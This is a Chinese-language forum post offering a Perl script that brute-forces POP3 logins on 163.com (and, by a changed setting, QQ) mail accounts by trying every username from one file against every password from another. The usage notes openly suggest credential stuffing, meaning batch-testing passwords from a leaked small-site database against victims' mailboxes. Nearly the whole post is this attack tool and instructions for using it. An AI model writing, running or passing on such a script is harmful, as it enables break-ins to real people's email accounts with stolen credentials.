邮箱爆破脚本
#!/usr/bin/perl
use Net::POP3;
$email="pop.163.com"; //设置pop服务器地址 qq为pop.qq.com
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
print $pop->banner();
$pop->quit;
$i=0;
open(fp1,"user.txt");
@array1=<fp1>;
open(fp2,"pass.txt");
@array2=<fp2>; //从文件中获取邮箱用户名及密码
foreach $a(@array1) {
$u=substr($a,0,length($a)-1);
$u=$u."@163.com";
foreach $b(@array2) {
$p=substr($b,0,length($b)-1);
print "cracked with ".$u."-----".$p."n";
$i=$i+1;
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
$m=$pop->login($u,$p); //尝试登录邮箱
if($m>0)
{
print $u."------------".$p."----"."success"."n";
$pop->quit;
} //成功登录
else
{
print $u."------------".$p."----"."failed"."n";
$pop->quit; //登录失败
}
}
}
print $i;
用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱
Default
$email="pop.163.com";
1
$email="pop.163.com";
再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去
同目录user.txt中吗，再将字典存进去pass.txt
你会说
这个有点鸡肋吧 万一邮箱的密码很复杂
呵呵
搞到了一个小站的数据，
用这个程序批量测试密码是否就是邮箱密码 呵呵
我啥都没说。:ciya:
页:
[1]